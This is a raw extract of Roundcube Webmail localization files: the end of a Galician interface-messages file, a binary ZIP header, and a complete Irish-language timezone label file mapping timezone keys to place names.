$messages['nobodywarning'] = 'Queres enviar esta mensaxe sen texto?';
$messages['restoresavedcomposedata'] = 'Foi atopada unha mensaxe que non se enviara.\n\nSubject: $subject\nSaved: $date\n\n¿queres restaurar esta mensaxe?';
$messages['nosearchname'] = 'Por favor, engade un nome ou un enderezo de correo electrónico.';
$messages['notuploadedwarning'] = 'Aínda non se cargaron tódolos ficheiros. Por favor, agarde ou cancele a carga.';
$messages['searchsuccessful'] = 'Atopáronse $nr mensaxes.';
$messages['contactsearchsuccessful'] = 'Atopáronse $nr contactos.';
$messages['searchnomatch'] = 'A busca non atopou coincidencias.';
$messages['searching'] = 'Buscando...';
$messages['checking'] = 'Comprobando...';
$messages['stillsearching'] = 'Buscando...';
$messages['nospellerrors'] = 'Non hai erros ortográficos.';
$messages['folderdeleted'] = 'O cartafol foi eliminado correctamente.';
$messages['foldersubscribed'] = 'O cartafol subscribiuse correctamente.';
$messages['folderunsubscribed'] = 'O cartafol desubscribiuse correctamente.';
$messages['deletedsuccessfully'] = 'Eliminouse correctamente.';
$messages['converting'] = 'Eliminando o formato da mensaxe...';
$messages['messageopenerror'] = 'Non foi posíbel cargar a mensaxe desde o servidor.';
$messages['fileuploaderror'] = 'Fallou a carga do ficheiro.';
$messages['filesizeerror'] = 'O ficheiro cargado é máis grande que o tamaño máximo de $size.';
$messages['copysuccess'] = 'Copiáronse correctamente $nr contactos.';
$messages['movesuccess'] = 'Movidos con suceso $nr contactos.';
$messages['copyerror'] = 'Non foi posíbel copiar contactos.';
$messages['moveerror'] = 'Non foi posíbel mover contactos.';
$messages['sourceisreadonly'] = 'Este enderezo de orixe é de só lectura.';
$messages['errorsavingcontact'] = 'Non foi posíbel gardar o contacto.';
$messages['movingmessage'] = 'Movendo a(s) mensaxe(s)...';
$messages['copyingmessage'] = 'Copiando a(s) mensaxe(s)...';
$messages['copyingcontact'] = 'Copiando o(s) contacto(s)...';
$messages['movingcontact'] = 'Movendo contacto(s)...';
$messages['deletingmessage'] = 'Eliminando a(s) mensaxe(s)...';
$messages['markingmessage'] = 'Marcando a(s) mensaxe(s)...';
$messages['addingmember'] = 'Engadindo o(s) contacto(s) ao grupo...';
$messages['removingmember'] = 'Eliminando o(s) contacto(s) do grupo...';
$messages['receiptsent'] = 'A notificación da entrega enviouse correctamente.';
$messages['errorsendingreceipt'] = 'Non foi posíbel enviar a notificación da entrega.';
$messages['deleteidentityconfirm'] = 'Queres eliminar esta identidade?';
$messages['nodeletelastidentity'] = 'Non podes eliminar esta identidade, é a última.';
$messages['forbiddencharacter'] = 'O nome do cartafol contén un caracter non válido.';
$messages['selectimportfile'] = 'Por favor, escolle un ficheiro para cargar.';
$messages['addresswriterror'] = 'Non se pode escribir na Axenda de enderezos que escolleches.';
$messages['contactaddedtogroup'] = 'Engadiuse correctamente o contacto a este grupo.';
$messages['contactremovedfromgroup'] = 'Suprimiuse correctamente o contacto deste grupo.';
$messages['nogroupassignmentschanged'] = 'Non cambiou ningunha asignación de grupo.';
$messages['importwait'] = 'A importar. Por favor, agarda...';
$messages['importformaterror'] = 'Fallou a importación! O ficheiro cargado non contén datos válidos.';
$messages['importconfirm'] = '<b>Importáronse correctamente $inserted contactos</b>';
$messages['importconfirmskipped'] = '<b>Ignoráronse $skipped existing entradas</b>';
$messages['importmessagesuccess'] = 'Importadas $nr mensaxes con éxito';
$messages['importmessageerror'] = 'Fallou a importación! O arquivo subido non é unha mensaxe válida ou un ficheiro de correo';
$messages['opnotpermitted'] = 'Operación non permitida!';
$messages['editorwarning'] = 'Se troca neste intre ao editor de texto plano, vai perder todo o formato do texto. Quere continuar?';
$messages['httpreceivedencrypterror'] = 'Produciuse un erro fatal de configuración. Contacta coa persoa administradora inmediatamente. <b>Non se enviou a túa mensaxe.</b>';
$messages['smtpconnerror'] = 'Erro SMTP ($code): Fallou a conexión co servidor.';
$messages['smtpautherror'] = 'Erro SMTP ($code): Fallou a autenticación.';
$messages['smtpfromerror'] = 'Erro SMTP ($code): Non foi posíbel estabelecer o remite "$from" ($msg).';
$messages['smtptoerror'] = 'Erro SMTP ($code): Non foi posíbel engadir a persoa destinataria "$to" ($msg).';
$messages['smtprecipientserror'] = 'Erro SMTP: Non se pode analizar a lista de persoas destinatarias.';
$messages['smtperror'] = 'Erro SMTP: $msg';
$messages['toomanyrecipients'] = 'Especificou persoas destinatarias de máis. Por favor, redúceas a un máximo de $max.';
$messages['maxgroupmembersreached'] = 'O número de integrantes do grupo excede o máximo de $max.';
$messages['internalerror'] = 'Produciuse un erro interno. Por favor, téntao de novo.';
$messages['contactdelerror'] = 'Non foi posíbel eliminar o(s) contacto(s).';
$messages['contactdeleted'] = 'Borráronse correctamente o(s) contacto(s).';
$messages['contactrestoreerror'] = 'Non foi posíbel restaurar o(s) contacto(s) borrado(s).';
$messages['contactrestored'] = 'Restauráronse correctamente o(s) contacto(s).';
$messages['groupdeleted'] = 'Borrouse correctamente o grupo.';
$messages['grouprenamed'] = 'Mudouse correctamente o nome do grupo.';
$messages['groupcreated'] = 'Creouse correctamente o grupo.';
$messages['savedsearchdeleted'] = 'Borrouse correctamente a busca gardada.';
$messages['savedsearchdeleteerror'] = 'Non foi posíbel eliminar a busca gardada.';
$messages['savedsearchcreated'] = 'Creouse correctamente a busca gardada.';
$messages['savedsearchcreateerror'] = 'Non foi posíbel crear a busca gardada.';
$messages['messagedeleted'] = 'Borráronse correctamente a(s) mensaxe(s).';
$messages['messagemoved'] = 'Movéronse correctamente a(s) mensaxe(s).';
$messages['messagecopied'] = 'Copiáronse correctamente a(s) mensaxe(s).';
$messages['messagemarked'] = 'Marcáronse correctamente a(s) mensaxe(s).';
$messages['autocompletechars'] = 'Engade polo menos $min caracteres para autocompletar.';
$messages['autocompletemore'] = 'Atopáronse máis entradas concidintes. Por favor, engade máis caracteres.';
$messages['namecannotbeempty'] = 'O nome non pode estar baleiro.';
$messages['nametoolong'] = 'O nome é longo de máis.';
$messages['folderupdated'] = 'O cartafol actualizouse correctamente.';
$messages['foldercreated'] = 'O cartafol creouse correctamente.';
$messages['invalidimageformat'] = 'O formato da imaxe non é válido.';
$messages['mispellingsfound'] = 'Atopáronse erros ortográficos na mensaxe.';
$messages['parentnotwritable'] = 'Non foi posíbel crear/mover o cartafol para o cartafol principal que selecionaches porque non tes permisos.';
$messages['messagetoobig'] = 'A mensaxe é demasiado grande para procesala';
$messages['noscriptwarning'] = 'Atención: Este servicio de correo web precisa de Javascript!. Por favor, active javascript nas opción do seu navegador.';
PK
h�\
�1��O�O(program/localization/ga_IE/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'Am Uilíoch Lárnach';
$labels['tz:africa'] = 'An Afraic';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Ādis Ābeba';
$labels['tz:africa:algiers'] = 'Cathair na hAilgéire';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Caireo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conacraí';
$labels['tz:africa:dakar'] = 'Dacár';
$labels['tz:africa:dar_es_salaam'] = 'Dárasalám';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Mapútó';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogaidisiú';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripilí';
$labels['tz:africa:tunis'] = 'Túinis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Meiriceá';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'An Airgintín';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Arúba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbadós';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'an Bheilís';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogotá';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancún';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Greanáda';
$labels['tz:america:guadeloupe'] = 'Guadalúip';
$labels['tz:america:guatemala'] = 'Guatamala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'an Ghuáin';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'La Habana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Iamáice';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Líoma';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Cathair Mheicsiceo';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'Nua Eabhrac';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'An Lár';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Pórtó Ríce';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antartaice';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctach';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'an Áise';
$labels['tz:asia:aden'] = 'Áidin';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = '‘Ammān';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bairéin';
$labels['tz:asia:baku'] = 'Baki';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Béiriút';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brúiné';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'an Damaisc';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Heabrón';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Cong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Iacárta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Iarúsailéim';
$labels['tz:asia:kabul'] = 'Cabúl';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Katmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Cuáit';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Mainile';
$labels['tz:asia:muscat'] = 'Muscáit';
$labels['tz:asia:nicosia'] = 'an Niocóis';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnum Pénh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'P’yŏngyang';
$labels['tz:asia:qatar'] = 'Catar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Ar Riyād';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Súl';
$labels['tz:asia:shanghai'] = 'Shang-hai';
$labels['tz:asia:singapore'] = 'Singeapór';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tóiceo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Ürümqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Eireaván';
$labels['tz:atlantic'] = 'an tAtlantach';
$labels['tz:atlantic:azores'] = 'Na hAsóir';
$labels['tz:atlantic:bermuda'] = 'Beirmiúda';
$labels['tz:atlantic:canary'] = 'Na hOileáin Chanáracha';
$labels['tz:atlantic:cape_verde'] = 'Rinn Verde';
$labels['tz:atlantic:faroe'] = 'Na Scigirí';
$labels['tz:atlantic:madeira'] = 'Maidéara';
$labels['tz:atlantic:reykjavik'] = 'Réicivíc';
$labels['tz:atlantic:south_georgia'] = 'an tSeoirsia Theas';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'an Astráil';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'An Eoraip';
$labels['tz:europe:amsterdam'] = 'Amstardam';
$labels['tz:europe:andorra'] = 'Andóra';
$labels['tz:europe:astrakhan'] = 'an Astracáin';
$labels['tz:europe:athens'] = 'an Aithin';
$labels['tz:europe:belgrade'] = 'Béalgrád';
$labels['tz:europe:berlin'] = 'Beirlín';
$labels['tz:europe:bratislava'] = 'an Bhratasláiv';
$labels['tz:europe:brussels'] = 'An Bhruiséil';
$labels['tz:europe:bucharest'] = 'Búcairist';
$labels['tz:europe:budapest'] = 'Búdaipeist';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Císineá';
$labels['tz:europe:copenhagen'] = 'Cóbanhávan';
$labels['tz:europe:dublin'] = 'Baile Átha Cliath';
$labels['tz:europe:gibraltar'] = 'Giobráltar';
$labels['tz:europe:guernsey'] = 'Geansaí';
$labels['tz:europe:helsinki'] = 'Heilsincí';
$labels['tz:europe:isle_of_man'] = 'Oileán Mhanann';
$labels['tz:europe:istanbul'] = 'Iostanbúl';
$labels['tz:europe:jersey'] = 'Geirsí';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Cív';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Liospóin';
$labels['tz:europe:ljubljana'] = 'Liúibleána';
$labels['tz:europe:london'] = 'Londain';
$labels['tz:europe:luxembourg'] = 'Lucsamburg';
$labels['tz:europe:madrid'] = 'Maidrid';
$labels['tz:europe:malta'] = 'Málta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Mionsc';
$labels['tz:europe:monaco'] = 'Monacó';
$labels['tz:europe:moscow'] = 'Moscó';
$labels['tz:europe:oslo'] = 'Osló';
$labels['tz:europe:paris'] = 'Páras';
$labels['tz:europe:podgorica'] = 'Podgairítse';
$labels['tz:europe:prague'] = 'Prág';
$labels['tz:europe:riga'] = 'Rígea';
$labels['tz:europe:rome'] = 'An Róimh';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Mairíne';
$labels['tz:europe:sarajevo'] = 'Sairéavó';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Scóipé';
$labels['tz:europe:sofia'] = 'Sóifia';
$labels['tz:europe:stockholm'] = 'Stócólm';
$labels['tz:europe:tallinn'] = 'Taillinn';
$labels['tz:europe:tirane'] = 'Tiorána';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vadús';
$labels['tz:europe:vatican'] = 'an Vatacáin';
$labels['tz:europe:vienna'] = 'Vín';
$labels['tz:europe:vilnius'] = 'Vilnias';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Vársá';
$labels['tz:europe:zagreb'] = 'Ságrab';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Oileán na Nollag';
$labels['tz:indian:cocos'] = 'Oileáin Cocos';
$labels['tz:indian:comoro'] = 'Oileáin Chomóra';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Oileáin Mhaildíve';
$labels['tz:indian:mauritius'] = 'Oileán Mhuirís';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'La Réunion';
$labels['tz:pacific'] = 'An tAigéan Ciúin';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Oileán na Cásca';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fidsí';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Na hOileáin Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nárú';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Oileáin Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Taihítí';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
